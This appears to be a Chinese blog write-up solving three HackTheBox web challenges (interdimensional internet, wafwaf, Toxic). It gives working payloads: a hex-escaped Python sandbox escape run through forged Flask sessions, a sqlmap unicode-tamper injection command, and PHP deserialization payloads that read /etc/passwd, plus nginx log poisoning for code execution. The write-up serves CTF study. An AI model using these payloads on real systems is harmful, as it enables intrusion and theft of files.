HTB-interdimensional internet&&Toxic&&wafwaf

HTB-interdimensional internet&&Toxic&&wafwaf


interdimensional internet

这道题目在HTB里评分中,接近一半的人评分为烧脑,今天做的是第二个版本,第一个版本与第二个版本不同的是变量通过POST进行提交、同时没有过滤,可能评分烧脑的老哥们都是和我一样在第二个版本里面挣扎的吧

image_1f4gtthahggtqcmt534s416mf6p.png-53.6kB

访问题目

image_1f4g5c2bheeq181u1nkd188pivo9.png-230.3kB

看一下源码,发现有debug页面,访问获取到源码

from flask import Flask, Response, session, render_template
import functools, random, string, os, re

app = Flask(__name__)
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', 'tlci0GhK8n5A18K1GTx6KPwfYjuuftWw')

def calc(recipe):
    global garage
    builtins, garage = {'__builtins__': None}, {}
    try: exec(recipe, builtins, garage)
    except: pass

def GFW(func): # Great Firewall of the observable universe and it's infinite timelines
    @functools.wraps(func)
    def federation(*args, **kwargs):
        ingredient = session.get('ingredient', None)
        measurements = session.get('measurements', None)

        recipe = '%s = %s' % (ingredient, measurements)
        if ingredient and measurements and len(recipe) >= 20:
            regex = re.compile('|'.join(map(re.escape, ['[', '(', '_', '.'])))
            matches = regex.findall(recipe)

            if matches: 
                return render_template('index.html', blacklisted='Morty you dumbass: ' + ', '.join(set(matches)))

            if len(recipe) > 300: 
                return func(*args, **kwargs) # ionic defibulizer can't handle more bytes than that

            calc(recipe)
            # return render_template('index.html', calculations=garage[ingredient])
            return func(*args, **kwargs) # rick deterrent

        ingredient = session['ingredient'] = ''.join(random.choice(string.lowercase) for _ in xrange(10))
        measurements = session['measurements'] = ''.join(map(str, [random.randint(1, 69), random.choice(['+', '-', '*']), random.randint(1,69)]))

        calc('%s = %s' % (ingredient, measurements))
        return render_template('index.html', calculations=garage[ingredient])
    return federation

@app.route('/')
@GFW
def index():
    return render_template('index.html')

@app.route('/debug')
def debug():
    return Response(open(__file__).read(), mimetype='text/plain')

if __name__ == '__main__':
    app.run('0.0.0.0', port=1337)

理一下大概的一个题目逻辑,首先定义了两个函数,一个calc、一个GFW,calc主要是调用exec执行数字计算。GFW主要作为防火墙限制用户的输入,先看一下calc函数需要注意的点

image_1f4g6305r1v6un216q712lu1f2rm.png-24.7kB

题目设置了函数的全局命名空间,如果我们要对exec进行SSTI的话,要注意全局变量的问题,重点研究一下GFW的问题,思路比较清晰,可控变量在session中获取,我们可以通过伪造flask-session对两个变量进行控制,

image_1f4g83lj212dtp508l574l3se13.png-122.4kB

然后如果要执行命令的话,还要绕过黑名单同时保证输入的payload小于300,首先本地调式一下

image_1f4g8t6phnbu7fa1s248v01r2p1g.png-37.3kB

直接输出是没有问题的,测试执行命令

image_1f4ga20nsofii3ad3t5gg1qag1t.png-26.4kB

提示
“`__import__ not found“`,利用常规的SSTI-payload测试一下,输出一下子类集合,获取存在import和os的模块,先获取一下子类集合

image_1f4gadkb75l565ed7v11is1sgr2a.png-202.8kB

我们知道catch_warnings子类内存在import和os等,调用一下该类

image_1f4gan58b14gh19gk1v66d9i1j872n.png-26.4kB

在调试过程中,发现globasl是无法用的,转个方向利用
“`__builtins__“`获取一下该类的内建函数

image_1f4gb9nqg1s0u1h971q9u1aae16gt34.png-193.2kB

print ().__class__.__base__.__subclasses__()[60]()._module.__builtins__

导入一下函数,执行命令

image_1f4gbh6m218ma1d05aqtgbtnd43h.png-30.9kB

成功执行,下一步就是绕过黑名单的问题

'[', '(', '_', '.'

过滤了以上字符,我们尝试用十六进制的形式进行绕过,这里有一个tips可以利用

image_1f4gcjj6v15k578m1b6s1f7l19a23u.png-244.2kB

\\x28在两次输出就可以绕过检测同时转成“(”,而直接传入“\x28”是会被题目检测为黑名单字符的,我们需要构造一下

image_1f4gp8toa1kk71n281lq81cvnnu94b.png-50.7kB

可以看到用双引号包裹输出即为我们的payload,构造执行命令

exec "\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b60]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f']\\x28'os')\\x2esystem\\x28'whoami')"

下一步就是想法在题目中执行,因为可控变量是在session中获得的,直接解密一下题目中的session格式

image_1f4gqo59e1gpb1s4h103cfo515br4o.png-86.7kB

构造我们的payload,因为我们需要对我们的payload进行加密,同时防止“\\”被转义掉,需要再为我们的双斜杠添加两个转义符,剩下还有一个问题就是我们的数据外带了,这里看了很多国外老哥的做法,有一位老哥的做法确实很新颖,我们可以通过session来攻击题目,同时可以通过session来携带数据,我们将命令执行的结果赋值给新的session变量,再对攻击后的形成的session解密读取即可获取到信息,所以我们需要修改一下攻击的payload,首先设置新的session变量,然后读取当前目录下文件赋值给新的session,因为要同时导入flask和os,所以设置一下变量等于导入模块
“`__import__“`

i={}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__'];i('flask').session['x']=i('os').popen('ls').read()

然后构造一下session

{'ingredient':b'exec\"i={}\\\\x2e\\\\x5f\\\\x5fclass\\\\x5f\\\\x5f\\\\x2e\\\\x5f\\\\x5fbase\\\\x5f\\\\x5f\\\\x2e\\\\x5f\\\\x5fsubclasses\\\\x5f\\\\x5f\\\\x28)\\\\x5b59]\\\\x28)\\\\x2e\\\\x5fmodule\\\\x2e\\\\x5f\\\\x5fbuiltins\\\\x5f\\\\x5f\\\\x5b\'\\\\x5f\\\\x5fimport\\\\x5f\\\\x5f\'];i\\\\x28\'flask\')\\\\x2esession\\\\x5b\'x\']=i\\\\x28\'os\')\\\\x2epopen\\\\x28\'ls\')\\\\x2eread\\\\x28)\"#', 'measurements': b'4+25'}

这里有一个问题,我们需要在ingredient参数里面注释掉后面的参数传输的数据,防止执行失败,伪造一下

image_1f4gsne3t898f23fv8f5i1kgg55.png-101.2kB

替换题目中的session,再次刷新,发现session发生变化

image_1f4gsoubgcllrpj1husrcd1lsh5i.png-38.8kB

解密一下查看

image_1f4gsucvn1nsbsm71u811aje1mhj5v.png-119.9kB

获取到flag文件的名称,尝试读一下,直接模糊匹配一下

i={}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__'];i('flask').session['x']=i('os').popen('cat tota*').read()

继续构造一下session

{'ingredient':b'exec \"i={}\\\\x2e\\\\x5f\\\\x5fclass\\\\x5f\\\\x5f\\\\x2e\\\\x5f\\\\x5fbase\\\\x5f\\\\x5f\\\\x2e\\\\x5f\\\\x5fsubclasses\\\\x5f\\\\x5f\\\\x28)\\\\x5b59]\\\\x28)\\\\x2e\\\\x5fmodule\\\\x2e\\\\x5f\\\\x5fbuiltins\\\\x5f\\\\x5f\\\\x5b\'\\\\x5f\\\\x5fimport\\\\x5f\\\\x5f\'];i\\\\x28\'flask\')\\\\x2esession\\\\x5b\'x\']=i\\\\x28\'os\')\\\\x2epopen\\\\x28\'cat totally*\')\\\\x2eread\\\\x28)\"#', 'measurements': b'4+25'}

仍加密一下session,替换cookie,访问页面,获取到变化的session,解密session成功获取到了flag,完结

image_1f4gthl6pub2lac140d12odt9n6c.png-188.4kB

wafwaf

分析一下源码

<?php error_reporting(0);
require 'config.php';

class db extends Connection {
    public function waf($s) {
        if (preg_match_all('/'. implode('|', array(
            '[' . preg_quote("(*<=>|'&-@") . ']',
            'select', 'and', 'or', 'if', 'by', 'from', 
            'where', 'as', 'is', 'in', 'not', 'having'
        )) . '/i', $s, $matches)) die(var_dump($matches[0]));
        return json_decode($s);
    }

    public function query($sql) {
        $args = func_get_args();
        unset($args[0]);
        return parent::query(vsprintf($sql, $args));
    }
}

$db = new db();

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $obj = $db->waf(file_get_contents('php://input'));
    $db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user);
} else {
    die(highlight_file(__FILE__, 1));
}
?>

发现返回的内容是json_decode(),所以我们猜测传输的内容应该是JSON格式的,我们可以构造输入

image_1f4ivofc116pt15bq1sf10kh26g9.png-41.9kB

发现被检测输出了,尝试unicode编码进行注入

image_1f4j17rgf2d1dn9k64mqi1f2m.png-48kB

成功绕过题目的检测,那么思路就比较清楚,JSON传输,然后unicode编码我们的payload

本来在想的是用python脚本跑,后来在论坛上有人讨论可以用sqlmap的tamper注入,去找一下sqlmap-tamper的一些信息

https://www.cnblogs.com/mark0/p/12349551.html

找一下相关的脚本

image_1f4j1l2qa9cimhsvkc1g7r1c5913.png-39.2kB

发现charunicodeescape,可以将我们的payload进行unicode编码后进行传输,首先将数据包保存为文件

POST / HTTP/1.1
Host: 138.68.148.149:32162
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

{"user":"%u002a"}

执行命令

sqlmap -r 1.txt –tamper=charunicodeescape –technique=T –dbms=mysql –time-sec=2 –batch

image_1f4j2b5eanjoqbp10fq166u11p61g.png-187.3kB

依此获取表和列,最后获取flag

image_1f4j2fh1b14711r9i1fqmgl3q5d1t.png-202.2kB

Toxic

今天新上的题目,还是很简单的,首先下载一下文件,里面是源码和dockerfile,先看文件

image_1f4j2kltp1b4i15clcs0ih7157c2a.png-101.7kB

image_1f4j2makh1nmtua915os1dr51mr52n.png-41.8kB

代码非常简单,题目会对我们的PHPSESSID进行base64解密后再进行反序列化,从而对指定的文件进行包含,我们直接构造一下读取/etc/passwd

<?php
class PageModel
{
    public $file="/etc/passwd";
}

$a=new PageModel();
echo base64_encode(serialize($a));
?>

image_1f4j2q7ou494tv49ot1nbhndt34.png-119.3kB

读取成功,尝试读取一下flag,发现返回的数据为空,读一下dockerfile,发现flag的文件名是随机生成的

image_1f4j2rt78u921os31v0a13ag9153h.png-16.7kB

所以尝试构造目录,在读supervisord.conf文件的时候发现启动服务的用户是root

image_1f4j2ujte19l7l9a122jn8o1deh3u.png-16.2kB

那我们可以包含的就很多了,在nginx的配置文件中发现日志的存放地址

image_1f4j2vjv2140ft02133t1sgd1v594b.png-25.4kB

尝试包含一下日志文件

image_1f4j31f7ee29nliqvojkt1kp94o.png-178.7kB

成功包含,由于题目用的是include()函数对文件进行包含,所以包含的文件都会被当作php代码执行,我们可以通过将shell文件写入日志中的方式,来执行命令,构造执行ls

image_1f4j3514o14d2b04s1njduuk355.png-224.9kB

成功执行命令,查看一下根目录文件

image_1f4j3694oh1219qbtnn74mr9f5i.png-113kB

构造序列化,读取一下flag文件即可

<?php
class PageModel
{
    public $file="/flag_Lc4VC";
}

$a=new PageModel();
echo base64_encode(serialize($a));
?>
//Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2ZsYWdfTGM0VkMiO30=

image_1f4j3a5ass5k1s5ep1jgh112tv5v.png-41.5kB


发表评论

邮箱地址不会被公开。 必填项已用*标注